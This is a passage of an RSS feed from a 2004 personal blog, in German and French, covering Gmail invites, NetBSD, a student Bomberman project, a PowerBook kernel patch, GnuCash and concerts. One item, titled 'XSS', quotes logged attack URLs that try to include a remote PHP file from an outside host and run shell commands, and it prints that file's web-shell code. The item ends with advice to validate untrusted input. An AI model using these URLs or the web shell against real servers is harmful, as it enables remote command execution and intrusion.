  13396.    <content:encoded><![CDATA[<p>Seit neustem habe auch ich so einen <a href="https://gmail.google.com/" lang="en" title="Welcome to Gmail">Gmail</a>-Account und habe nun einige Einladungen zu verschenken.<br>Wer Interesse daran hat, soll sich melden.</p>
  13397. ]]></content:encoded>
  13398.  </item>
  13399.  
  13400.  <item>
  13401.    <title>NetBSD</title>
  13402.    <link>https://blog.x-way.org/NetBSD/2004/08/23/NetBSD.html</link>
  13403.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324047</guid>
  13404.    <dc:creator>Andreas Jaggi</dc:creator>
  13405.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  13406.    <pubDate>Mon, 23 Aug 2004 23:20:28 +0200</pubDate>
  13407.    <category domain="https://blog.x-way.org/NetBSD/">NetBSD</category>
  13408.    <description><![CDATA[<p><a href="http://hcpnet.free.fr/applebsd.html" title="Mach and Darwin binary compatibility for NetBSD/powerpc and NetBSD/i386" lang="en">Hier</a> wird versucht Mac OS X Anwendungen unter <a href="http://www.netbsd.org/" title="The NetBSD Project">NetBSD</a> zum laufen zu bringen.</p><p>Da ich auf meinem PowerBook gerne einige kommerzielle Programme benutzen möchte, aber dennoch auf die Programmvielfalt eines "freien" Unixsystems nicht verzichten möchte, habe ich vor mich in Zukunft etwas mit <a href="http://www.netbsd.org/" title="The NetBSD Project">NetBSD</a> zu beschäftigen.</p><p>Der erste Schritt dazu ist schon gemacht: Seit gestern Abend läuft auf meinem alten Testrechner <a href="http://www.netbsd.org/" title="The NetBSD Project">NetBSD</a> 1.6.2 :-)</p>
  13409. ]]></description>
  13410.    <content:encoded><![CDATA[<p><a href="http://hcpnet.free.fr/applebsd.html" title="Mach and Darwin binary compatibility for NetBSD/powerpc and NetBSD/i386" lang="en">Hier</a> wird versucht Mac OS X Anwendungen unter <a href="http://www.netbsd.org/" title="The NetBSD Project">NetBSD</a> zum laufen zu bringen.</p><p>Da ich auf meinem PowerBook gerne einige kommerzielle Programme benutzen möchte, aber dennoch auf die Programmvielfalt eines "freien" Unixsystems nicht verzichten möchte, habe ich vor mich in Zukunft etwas mit <a href="http://www.netbsd.org/" title="The NetBSD Project">NetBSD</a> zu beschäftigen.</p><p>Der erste Schritt dazu ist schon gemacht: Seit gestern Abend läuft auf meinem alten Testrechner <a href="http://www.netbsd.org/" title="The NetBSD Project">NetBSD</a> 1.6.2 :-)</p>
  13411. ]]></content:encoded>
  13412.  </item>
  13413.  
  13414.  <item>
  13415.    <title>Examens Propédeutique I</title>
  13416.    <link>https://blog.x-way.org/School/2004/07/31/Examens_Propedeutique_I.html</link>
  13417.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324046</guid>
  13418.    <dc:creator>Andreas Jaggi</dc:creator>
  13419.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  13420.    <pubDate>Sat, 31 Jul 2004 13:38:40 +0200</pubDate>
  13421.    <category domain="https://blog.x-way.org/School/">School</category>
  13422.    <description><![CDATA[<q>Examen réussi sur décision de la Conférence des notes</q> :-)
  13423. ]]></description>
  13424.    <content:encoded><![CDATA[<q>Examen réussi sur décision de la Conférence des notes</q> :-)
  13425. ]]></content:encoded>
  13426.  </item>
  13427.  
  13428.  <item>
  13429.    <title>Anschauen!</title>
  13430.    <link>https://blog.x-way.org/Webdesign/2004/07/25/Anschauen.html</link>
  13431.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324045</guid>
  13432.    <dc:creator>Andreas Jaggi</dc:creator>
  13433.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  13434.    <pubDate>Sun, 25 Jul 2004 00:25:23 +0200</pubDate>
  13435.    <category domain="https://blog.x-way.org/Webdesign/">Webdesign</category>
  13436.    <description><![CDATA[<a href="https://web.archive.org/web/20040904092500/http://piepmatzel.de/" title="collecting best practice webdesign resources (archive.org)">collecting best practice webdesign resources</a>
  13437. ]]></description>
  13438.    <content:encoded><![CDATA[<a href="https://web.archive.org/web/20040904092500/http://piepmatzel.de/" title="collecting best practice webdesign resources (archive.org)">collecting best practice webdesign resources</a>
  13439. ]]></content:encoded>
  13440.  </item>
  13441.  
  13442.  <item>
  13443.    <title>Quicklinks Webdesign</title>
  13444.    <link>https://blog.x-way.org/Webdesign/2004/07/06/Quicklinks_Webdesign.html</link>
  13445.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324044</guid>
  13446.    <dc:creator>Andreas Jaggi</dc:creator>
  13447.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  13448.    <pubDate>Tue, 06 Jul 2004 19:15:50 +0200</pubDate>
  13449.    <category domain="https://blog.x-way.org/Webdesign/">Webdesign</category>
  13450.    <description><![CDATA[<ul><li><a href="https://web.archive.org/web/20040704074849/http://www.virtuelvis.com/gallery/css/rounded/" title="Rounded Corners in CSS (archive.org)">Rounded Corners in CSS</a> via <a href="http://del.icio.us/" title="social bookmarks">del.icio.us</a></li><li><a href="http://www.simplebits.com/bits/photo_zoom.html" title="CSS Photo Zoom">CSS Photo Zoom</a>  via <a href="https://kniebes.com/" title="LinkDump">LinkDump</a></li><li><a href="http://www.sitepoint.com/article/flash-interface-design" title="Flash Interface Design Made Simple">Flash Interface Design</a> via <a href="https://web.archive.org/web/20040828184125/http://www.metamorphine.de/" title="metamorphine (archive.org)">metamorphine</a></li></ul>
  13451. ]]></description>
  13452.    <content:encoded><![CDATA[<ul><li><a href="https://web.archive.org/web/20040704074849/http://www.virtuelvis.com/gallery/css/rounded/" title="Rounded Corners in CSS (archive.org)">Rounded Corners in CSS</a> via <a href="http://del.icio.us/" title="social bookmarks">del.icio.us</a></li><li><a href="http://www.simplebits.com/bits/photo_zoom.html" title="CSS Photo Zoom">CSS Photo Zoom</a>  via <a href="https://kniebes.com/" title="LinkDump">LinkDump</a></li><li><a href="http://www.sitepoint.com/article/flash-interface-design" title="Flash Interface Design Made Simple">Flash Interface Design</a> via <a href="https://web.archive.org/web/20040828184125/http://www.metamorphine.de/" title="metamorphine (archive.org)">metamorphine</a></li></ul>
  13453. ]]></content:encoded>
  13454.  </item>
  13455.  
  13456.  <item>
  13457.    <title>Bomberman 2004</title>
  13458.    <link>https://blog.x-way.org/Coding/2004/07/03/Bomberman_2004.html</link>
  13459.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324042</guid>
  13460.    <dc:creator>Andreas Jaggi</dc:creator>
  13461.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  13462.    <pubDate>Sat, 03 Jul 2004 22:20:51 +0200</pubDate>
  13463.    <category domain="https://blog.x-way.org/Coding/">Coding</category>
  13464.    <description><![CDATA[<p>Wie <a href="http://www.waterwave.ch/weblog/detail.php?label=CVS" title="Projekt mit CVS">schon angekündigt</a> haben wir im Programmieren ein Projekt gemacht, welches nun letzten Sonntag fertig wurde. Herausgekommen ist ein kleines Bomberman-Spiel, welches man <a href="https://blog.x-way.org/stuff/bomberman.zip" title="bomberman.zip">hier</a>  herunterladen kann (für Interessierte gibts <a href="https://blog.x-way.org/stuff/bomberman-src.tar.gz" title="Bomberman Sourcen">hier</a> noch die Sourcen).</p><p>Das Spiel hat ziemlich viele Bugs und Fehler, welche vor allem daher kommen, dass wir die ganze Spiel-Engine von den Assistenten geliefert bekammen. Die Engine ist jedoch ohne ein intelligentes Design, mit lauter Fehlern und Exceptions und in einem schrecklichen Code-Stil gemacht worden. So braucht beispielsweise der Konstruktor der Klasse, welche die Netzwerk-Sockets erstellt, eine Referenz auf ein GUI-Element um allfällige Netzwerkfehler direkt dorthinein zu schreiben!</p><p>Und auch die langen Wartezeiten beim starten von Spielen sind nur da, weil die Engine mit vielen NullPointer-Exceptions abstürzt wenn ein Spiel in Echtzeit gestartet wird!</p><p>Programmiert haben wir eigentlich "nur" die künstliche Intelligenz, den Leveleditor und das Fenster um die verschiedenen Spieltypen auszuwählen (Ursprünglich musste der Benutzer mittels Kommandozeile die einzelnen Clients und Server starten und miteinander verbinden!).</p><p>Wer keinen Fernseher hat, kann im Simulationsmodus schauen wie die künstliche Intelligenz gegen sich selbst spielt. Das kann durchaus eine abendfüllende Spielzeit annehmen!</p>
  13465. ]]></description>
  13466.    <content:encoded><![CDATA[<p>Wie <a href="http://www.waterwave.ch/weblog/detail.php?label=CVS" title="Projekt mit CVS">schon angekündigt</a> haben wir im Programmieren ein Projekt gemacht, welches nun letzten Sonntag fertig wurde. Herausgekommen ist ein kleines Bomberman-Spiel, welches man <a href="https://blog.x-way.org/stuff/bomberman.zip" title="bomberman.zip">hier</a>  herunterladen kann (für Interessierte gibts <a href="https://blog.x-way.org/stuff/bomberman-src.tar.gz" title="Bomberman Sourcen">hier</a> noch die Sourcen).</p><p>Das Spiel hat ziemlich viele Bugs und Fehler, welche vor allem daher kommen, dass wir die ganze Spiel-Engine von den Assistenten geliefert bekammen. Die Engine ist jedoch ohne ein intelligentes Design, mit lauter Fehlern und Exceptions und in einem schrecklichen Code-Stil gemacht worden. So braucht beispielsweise der Konstruktor der Klasse, welche die Netzwerk-Sockets erstellt, eine Referenz auf ein GUI-Element um allfällige Netzwerkfehler direkt dorthinein zu schreiben!</p><p>Und auch die langen Wartezeiten beim starten von Spielen sind nur da, weil die Engine mit vielen NullPointer-Exceptions abstürzt wenn ein Spiel in Echtzeit gestartet wird!</p><p>Programmiert haben wir eigentlich "nur" die künstliche Intelligenz, den Leveleditor und das Fenster um die verschiedenen Spieltypen auszuwählen (Ursprünglich musste der Benutzer mittels Kommandozeile die einzelnen Clients und Server starten und miteinander verbinden!).</p><p>Wer keinen Fernseher hat, kann im Simulationsmodus schauen wie die künstliche Intelligenz gegen sich selbst spielt. Das kann durchaus eine abendfüllende Spielzeit annehmen!</p>
  13467. ]]></content:encoded>
  13468.  </item>
  13469.  
  13470.  <item>
  13471.    <title>Analysis überlebt!</title>
  13472.    <link>https://blog.x-way.org/School/2004/07/03/Analysis_ueberlebt.html</link>
  13473.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324043</guid>
  13474.    <dc:creator>Andreas Jaggi</dc:creator>
  13475.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  13476.    <pubDate>Sat, 03 Jul 2004 22:10:05 +0200</pubDate>
  13477.    <category domain="https://blog.x-way.org/School/">School</category>
  13478.    <description><![CDATA[<p>Hier hat sich in den letzten paar Wochen nicht sehr viel geändert, da ich Prüfungen hatte und noch habe.</p><p>Jedoch ist das Schlimmste seit heute Morgen vorbei :-)</p>
  13479. ]]></description>
  13480.    <content:encoded><![CDATA[<p>Hier hat sich in den letzten paar Wochen nicht sehr viel geändert, da ich Prüfungen hatte und noch habe.</p><p>Jedoch ist das Schlimmste seit heute Morgen vorbei :-)</p>
  13481. ]]></content:encoded>
  13482.  </item>
  13483.  
  13484.  <item>
  13485.    <title>PowerBook Buttons</title>
  13486.    <link>https://blog.x-way.org/Mac/2004/06/17/PowerBook_Buttons.html</link>
  13487.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324041</guid>
  13488.    <dc:creator>Andreas Jaggi</dc:creator>
  13489.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  13490.    <pubDate>Thu, 17 Jun 2004 14:12:01 +0200</pubDate>
  13491.    <category domain="https://blog.x-way.org/Mac/">Mac</category>
  13492.    <description><![CDATA[<p>Nachdem ich <a href="http://www.linuxchix.org/content/courses/kernel_hacking/" title="LinuxChix Kernel Hacking Lessons">diese Artikel</a> gelesen hatte, kam ich plötzlich auf die Idee die bisher nicht funktionerenden Spezialbuttons meines PowerBooks zum laufen zu kriegen.</p><p>Dies stellte sich unerwarteterweise als gar nicht so schwer heraus, und nun gibts <a href="https://blog.x-way.org/stuff/linux-2.6.3-alubuttons.patch">hier</a> einen Patch für den 2.6.3 Kernel :-)</p><p>*kernelhacking*</p>
  13493. ]]></description>
  13494.    <content:encoded><![CDATA[<p>Nachdem ich <a href="http://www.linuxchix.org/content/courses/kernel_hacking/" title="LinuxChix Kernel Hacking Lessons">diese Artikel</a> gelesen hatte, kam ich plötzlich auf die Idee die bisher nicht funktionerenden Spezialbuttons meines PowerBooks zum laufen zu kriegen.</p><p>Dies stellte sich unerwarteterweise als gar nicht so schwer heraus, und nun gibts <a href="https://blog.x-way.org/stuff/linux-2.6.3-alubuttons.patch">hier</a> einen Patch für den 2.6.3 Kernel :-)</p><p>*kernelhacking*</p>
  13495. ]]></content:encoded>
  13496.  </item>
  13497.  
  13498.  <item>
  13499.    <title>Alle 20 Minuten Spam</title>
  13500.    <link>https://blog.x-way.org/Misc/2004/06/12/Alle_20_Minuten_Spam.html</link>
  13501.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324040</guid>
  13502.    <dc:creator>Andreas Jaggi</dc:creator>
  13503.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  13504.    <pubDate>Sat, 12 Jun 2004 23:32:56 +0200</pubDate>
  13505.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  13506.    <description><![CDATA[<p>Wie ich vorhin gerade bemerkt habe, habe ich in den letzten 12 Tagen 800 Spam-Mails erhalten. Glücklicherweise hat mein Spam-Filter 780 davon erkannt :-)</p>
  13507. ]]></description>
  13508.    <content:encoded><![CDATA[<p>Wie ich vorhin gerade bemerkt habe, habe ich in den letzten 12 Tagen 800 Spam-Mails erhalten. Glücklicherweise hat mein Spam-Filter 780 davon erkannt :-)</p>
  13509. ]]></content:encoded>
  13510.  </item>
  13511.  
  13512.  <item>
  13513.    <title>phpPatterns()</title>
  13514.    <link>https://blog.x-way.org/Coding/2004/06/12/phpPatterns.html</link>
  13515.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324039</guid>
  13516.    <dc:creator>Andreas Jaggi</dc:creator>
  13517.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  13518.    <pubDate>Sat, 12 Jun 2004 21:30:02 +0200</pubDate>
  13519.    <category domain="https://blog.x-way.org/Coding/">Coding</category>
  13520.    <description><![CDATA[<p>Auf <a href="https://web.archive.org/web/20040930055127/https://www.phppatterns.com/" title=":: phpPatterns()">phpPatterns()</a> findet man viele Artikel zu Patterns und Objektorientierter Programmierung.</p><p>Wer mit Mozilla unterwegs ist, kann dort auch den XUL Viewer ausprobieren.</p>
  13521. ]]></description>
  13522.    <content:encoded><![CDATA[<p>Auf <a href="https://web.archive.org/web/20040930055127/https://www.phppatterns.com/" title=":: phpPatterns()">phpPatterns()</a> findet man viele Artikel zu Patterns und Objektorientierter Programmierung.</p><p>Wer mit Mozilla unterwegs ist, kann dort auch den XUL Viewer ausprobieren.</p>
  13523. ]]></content:encoded>
  13524.  </item>
  13525.  
  13526.  <item>
  13527.    <title>Vim 6.3</title>
  13528.    <link>https://blog.x-way.org/Linux/2004/06/09/Vim_6_3.html</link>
  13529.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324038</guid>
  13530.    <dc:creator>Andreas Jaggi</dc:creator>
  13531.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  13532.    <pubDate>Wed, 09 Jun 2004 21:23:35 +0200</pubDate>
  13533.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  13534.    <description><![CDATA[<p>Von <a href="http://www.vim.org/" title="vim.org"><abbr title="Vi IMproved">Vim</abbr></a> ist <a href="http://groups.yahoo.com/group/vimannounce/message/130" title="vimannounce">Version 6.3 erschienen.</a></p><p>Via <a href="http://theflow.de/" title="theflow.de">theflow</a></p>
  13535. ]]></description>
  13536.    <content:encoded><![CDATA[<p>Von <a href="http://www.vim.org/" title="vim.org"><abbr title="Vi IMproved">Vim</abbr></a> ist <a href="http://groups.yahoo.com/group/vimannounce/message/130" title="vimannounce">Version 6.3 erschienen.</a></p><p>Via <a href="http://theflow.de/" title="theflow.de">theflow</a></p>
  13537. ]]></content:encoded>
  13538.  </item>
  13539.  
  13540.  <item>
  13541.    <title>Money, Money, Money</title>
  13542.    <link>https://blog.x-way.org/Linux/2004/06/09/Money_Money_Money.html</link>
  13543.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324037</guid>
  13544.    <dc:creator>Andreas Jaggi</dc:creator>
  13545.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  13546.    <pubDate>Wed, 09 Jun 2004 20:40:01 +0200</pubDate>
  13547.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  13548.    <description><![CDATA[<p>Seit ein paar Monaten, benutze ich <a href="http://www.gnucash.org/" title="GnuCash - Open Source Accounting Software" lang="en" xml:lang="en">GnuCash</a> um mein "Vermögen" zu verwalten.</p><p>GnuCash wurde in erster Linie für Privatanwender und <abbr title="Kleine und mittlere Unternehmen">KMU</abbr>s entwickelt und bringt entsprechende Features mit:</p><ul><li>Doppelte Buchhaltung mit allem was dazugehört: Journal, Tansaktionen etc.</li><li>OFX Import (was leider in der Schweiz von keiner Bank angeboten wird)</li><li>HBCI-Untersützung (welche bisher vor allem in Deutschland angeboten wird)</li><li>QIF-Unterstützung</li><li>Generierung von Berichten</li><li>Aktienkurse aus dem Internet</li><li>Devisenkurse aus dem Internet</li><li>Handling von Aktien- und Fonds Portfolios</li><li>Kunden- und Lieferanten Verwaltung</li><li>Rechnungsverwaltung</li><li>Steuerverwaltung</li><li>Fristenverwaltung</li></ul>
  13549. ]]></description>
  13550.    <content:encoded><![CDATA[<p>Seit ein paar Monaten, benutze ich <a href="http://www.gnucash.org/" title="GnuCash - Open Source Accounting Software" lang="en" xml:lang="en">GnuCash</a> um mein "Vermögen" zu verwalten.</p><p>GnuCash wurde in erster Linie für Privatanwender und <abbr title="Kleine und mittlere Unternehmen">KMU</abbr>s entwickelt und bringt entsprechende Features mit:</p><ul><li>Doppelte Buchhaltung mit allem was dazugehört: Journal, Tansaktionen etc.</li><li>OFX Import (was leider in der Schweiz von keiner Bank angeboten wird)</li><li>HBCI-Untersützung (welche bisher vor allem in Deutschland angeboten wird)</li><li>QIF-Unterstützung</li><li>Generierung von Berichten</li><li>Aktienkurse aus dem Internet</li><li>Devisenkurse aus dem Internet</li><li>Handling von Aktien- und Fonds Portfolios</li><li>Kunden- und Lieferanten Verwaltung</li><li>Rechnungsverwaltung</li><li>Steuerverwaltung</li><li>Fristenverwaltung</li></ul>
  13551. ]]></content:encoded>
  13552.  </item>
  13553.  
  13554.  <item>
  13555.    <title>XSS</title>
  13556.    <link>https://blog.x-way.org/Coding/2004/05/16/XSS.html</link>
  13557.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324036</guid>
  13558.    <dc:creator>Andreas Jaggi</dc:creator>
  13559.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  13560.    <pubDate>Sun, 16 May 2004 15:00:12 +0200</pubDate>
  13561.    <category domain="https://blog.x-way.org/Coding/">Coding</category>
  13562.    <description><![CDATA[<pre>http://waterwave.ch/weblog/detail.php?label=http://cliente.escelsanet.com.br/metallz/cmd.jpg?&amp;cmd=ls%20/;uname%20-a;w
  13563. http://waterwave.ch/weblog/index.php?cat=http://cliente.escelsanet.com.br/metallz/cmd.jpg?&amp;cmd=ls%20/;uname%20-a;w</pre><p>Na, billige <a href="https://web.archive.org/web/20040315034807/http://linuxtag.bankhacker.de/websicherheit.html" title="Cross Site Scripting">XSS-Attacke</a> falsch angewendet.</p><p>In http://cliente.escelsanet.com.br/metallz/cmd.jpg steht übrigens dieser PHP-Code.</p><pre>&lt;/center&gt;&lt;font size=&quot;2&quot;&gt;&lt;pre&gt;-
  13564. &lt;?
  13565.  if (isset($chdir)) @chdir($chdir);
  13566.  ob_start();
  13567.  system(&quot;$cmd 1&gt; /tmp/cmdtemp 2&gt;&amp;1; cat /tmp/cmdtemp; rm /tmp/cmdtemp&quot;);
  13568.  $output = ob_get_contents();
  13569.  ob_end_clean();
  13570.  if (!empty($output)) echo str_replace(&quot;&gt;&quot;, &quot;&amp;gt;&quot;, str_replace(&quot;&lt;&quot;, &quot;&amp;lt;&quot;, $output));
  13571. ?&gt;</pre><p>Merke: Immer alle nicht vertrauenswürdigen Input-Daten (e.g. alle per POST, GET, COOKIE übermittelten Daten) kontrollieren. Sehr oft werden hierzu <a href="http://ch.php.net/manual/de/ref.ctype.php" title="Character type functions - Manual">Character type functions</a> eingesetzt.</p>
  13572. ]]></description>
  13573.    <content:encoded><![CDATA[<pre>http://waterwave.ch/weblog/detail.php?label=http://cliente.escelsanet.com.br/metallz/cmd.jpg?&amp;cmd=ls%20/;uname%20-a;w
  13574. http://waterwave.ch/weblog/index.php?cat=http://cliente.escelsanet.com.br/metallz/cmd.jpg?&amp;cmd=ls%20/;uname%20-a;w</pre><p>Na, billige <a href="https://web.archive.org/web/20040315034807/http://linuxtag.bankhacker.de/websicherheit.html" title="Cross Site Scripting">XSS-Attacke</a> falsch angewendet.</p><p>In http://cliente.escelsanet.com.br/metallz/cmd.jpg steht übrigens dieser PHP-Code.</p><pre>&lt;/center&gt;&lt;font size=&quot;2&quot;&gt;&lt;pre&gt;-
  13575. &lt;?
  13576.  if (isset($chdir)) @chdir($chdir);
  13577.  ob_start();
  13578.  system(&quot;$cmd 1&gt; /tmp/cmdtemp 2&gt;&amp;1; cat /tmp/cmdtemp; rm /tmp/cmdtemp&quot;);
  13579.  $output = ob_get_contents();
  13580.  ob_end_clean();
  13581.  if (!empty($output)) echo str_replace(&quot;&gt;&quot;, &quot;&amp;gt;&quot;, str_replace(&quot;&lt;&quot;, &quot;&amp;lt;&quot;, $output));
  13582. ?&gt;</pre><p>Merke: Immer alle nicht vertrauenswürdigen Input-Daten (e.g. alle per POST, GET, COOKIE übermittelten Daten) kontrollieren. Sehr oft werden hierzu <a href="http://ch.php.net/manual/de/ref.ctype.php" title="Character type functions - Manual">Character type functions</a> eingesetzt.</p>
  13583. ]]></content:encoded>
  13584.  </item>
  13585.  
  13586.  <item>
  13587.    <title>Dillo mit Tabs</title>
  13588.    <link>https://blog.x-way.org/Linux/2004/05/16/Dillo_mit_Tabs.html</link>
  13589.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324035</guid>
  13590.    <dc:creator>Andreas Jaggi</dc:creator>
  13591.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  13592.    <pubDate>Sun, 16 May 2004 14:20:11 +0200</pubDate>
  13593.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  13594.    <description><![CDATA[<p>Wie ich nach einem Update erfreut festgestellt habe, kann <a href="https://web.archive.org/web/20040524140747/http://www.dillo.org/" lang="en" title="Dillo Web Browser (archive.org)">Dillo</a> jetzt auch mit Tabs umgehen.</p><img src="https://blog.x-way.org/images/dillo-new-tab.gif" alt="Screenshot, Dillo - Open in New Tab">
  13595. ]]></description>
  13596.    <content:encoded><![CDATA[<p>Wie ich nach einem Update erfreut festgestellt habe, kann <a href="https://web.archive.org/web/20040524140747/http://www.dillo.org/" lang="en" title="Dillo Web Browser (archive.org)">Dillo</a> jetzt auch mit Tabs umgehen.</p><img src="https://blog.x-way.org/images/dillo-new-tab.gif" alt="Screenshot, Dillo - Open in New Tab">
  13597. ]]></content:encoded>
  13598.  </item>
  13599.  
  13600.  <item>
  13601.    <title>Balélec 2004</title>
  13602.    <link>https://blog.x-way.org/Music/2004/05/16/Balelec_2004.html</link>
  13603.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324034</guid>
  13604.    <dc:creator>Andreas Jaggi</dc:creator>
  13605.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  13606.    <pubDate>Sun, 16 May 2004 12:36:21 +0200</pubDate>
  13607.    <category domain="https://blog.x-way.org/Music/">Music</category>
  13608.    <description><![CDATA[<p>Le vendredi j'étais au <a href="https://web.archive.org/web/20040613173349/http://www.balelec.ch/balelec04/" title="Balélec 2004 (archive.org)" lang="fr">Balélec</a> et c'était vachement cool. 30 groupes sur 7 scènes pour 20 Francs, cela on ne trouve pas ailleurs.</p><p>On se voit l'année prochaine, au 25-ième Balélec!</p>
  13609. ]]></description>
  13610.    <content:encoded><![CDATA[<p>Le vendredi j'étais au <a href="https://web.archive.org/web/20040613173349/http://www.balelec.ch/balelec04/" title="Balélec 2004 (archive.org)" lang="fr">Balélec</a> et c'était vachement cool. 30 groupes sur 7 scènes pour 20 Francs, cela on ne trouve pas ailleurs.</p><p>On se voit l'année prochaine, au 25-ième Balélec!</p>
  13611. ]]></content:encoded>
  13612.  </item>
  13613.  
  13614.  <item>
  13615.    <title>v2.04b</title>
  13616.    <link>https://blog.x-way.org/Misc/2004/05/12/v2_04b.html</link>
  13617.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324033</guid>
  13618.    <dc:creator>Andreas Jaggi</dc:creator>
  13619.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  13620.    <pubDate>Wed, 12 May 2004 16:31:00 +0200</pubDate>
  13621.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  13622.    <description><![CDATA[Neue Features:<ul><li>Kommentarvorschau</li><li>On-the-fly Sprachwechsel der Navigationselemente (Deutsch/Französisch)</li></ul>
  13623. ]]></description>
  13624.    <content:encoded><![CDATA[Neue Features:<ul><li>Kommentarvorschau</li><li>On-the-fly Sprachwechsel der Navigationselemente (Deutsch/Französisch)</li></ul>
  13625. ]]></content:encoded>
  13626.  </item>
  13627.  
  13628.  <item>
  13629.    <title>Bouton Satellite</title>
  13630.    <link>https://blog.x-way.org/Music/2004/05/08/Bouton_Satellite.html</link>
  13631.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324032</guid>
  13632.    <dc:creator>Andreas Jaggi</dc:creator>
  13633.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  13634.    <pubDate>Sat, 08 May 2004 16:55:00 +0200</pubDate>
  13635.    <category domain="https://blog.x-way.org/Music/">Music</category>
  13636.    <description><![CDATA[<p><a href="http://www.gtmcknight.com/buttons/">Là</a> il y a 2170 boutons, mais aucun du <a href="http://satwww.epfl.ch">Satellite</a>. Donc j'ai crée moi-même un bouton pour le Satellite.</p><p><a href="http://satwww.epfl.ch" title="Satellite - Bar, Concerts, Cafés-Théâtres"><img src="https://blog.x-way.org/images/satellite.png" alt="Satellite - Bar, Concerts, Cafés-Théâtres" style="border: 0px;"></a></p>
  13637. ]]></description>
  13638.    <content:encoded><![CDATA[<p><a href="http://www.gtmcknight.com/buttons/">Là</a> il y a 2170 boutons, mais aucun du <a href="http://satwww.epfl.ch">Satellite</a>. Donc j'ai crée moi-même un bouton pour le Satellite.</p><p><a href="http://satwww.epfl.ch" title="Satellite - Bar, Concerts, Cafés-Théâtres"><img src="https://blog.x-way.org/images/satellite.png" alt="Satellite - Bar, Concerts, Cafés-Théâtres" style="border: 0px;"></a></p>
  13639. ]]></content:encoded>
  13640.  </item>
  13641.  
  13642.  <item>
  13643.    <title>CVS</title>
  13644.    <link>https://blog.x-way.org/Linux/2004/05/08/CVS.html</link>
  13645.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324031</guid>
  13646.    <dc:creator>Andreas Jaggi</dc:creator>
  13647.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  13648.    <pubDate>Sat, 08 May 2004 14:00:00 +0200</pubDate>
  13649.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  13650.    <description><![CDATA[<p>Momentan machen wir im <a href="https://web.archive.org/web/20040603125318/http://cowww.epfl.ch/proginfo/" title="Cours de programmation II (archive.org)">Programmieren</a> ein Projekt in Zweierteams. Um die ganze Codehandhabung zu vereinfachen, hat sich unser Team entschieden, <a href="http://www.nongnu.org/cvs/" title="Concurrent Versions System">CVS</a> einzusetzen. CVS bietet eine zentrale Codeverwaltung mit Versions- und Konfliktsmanagement.</p><p>Da ich als CVS-Neuling das CLI-Interface nur grundlegend kenne, habe ich mich nach einem GUI-Interface umgeschaut. Dabei habe ich zwei überzeugende Programme gefunden: <a href="https://tkcvs.sourceforge.io/" title="TkCVS">TkCVS</a> und <a href="https://sourceforge.net/projects/lincvs/" title="LinCVS">LinCVS</a>, das auch auf Windows portiert wurde.</p>
  13651. ]]></description>
  13652.    <content:encoded><![CDATA[<p>Momentan machen wir im <a href="https://web.archive.org/web/20040603125318/http://cowww.epfl.ch/proginfo/" title="Cours de programmation II (archive.org)">Programmieren</a> ein Projekt in Zweierteams. Um die ganze Codehandhabung zu vereinfachen, hat sich unser Team entschieden, <a href="http://www.nongnu.org/cvs/" title="Concurrent Versions System">CVS</a> einzusetzen. CVS bietet eine zentrale Codeverwaltung mit Versions- und Konfliktsmanagement.</p><p>Da ich als CVS-Neuling das CLI-Interface nur grundlegend kenne, habe ich mich nach einem GUI-Interface umgeschaut. Dabei habe ich zwei überzeugende Programme gefunden: <a href="https://tkcvs.sourceforge.io/" title="TkCVS">TkCVS</a> und <a href="https://sourceforge.net/projects/lincvs/" title="LinCVS">LinCVS</a>, das auch auf Windows portiert wurde.</p>
  13653. ]]></content:encoded>
  13654.  </item>
  13655.  
  13656.  <item>
  13657.    <title>Deadlock</title>
  13658.    <link>https://blog.x-way.org/Misc/2004/05/02/Deadlock.html</link>
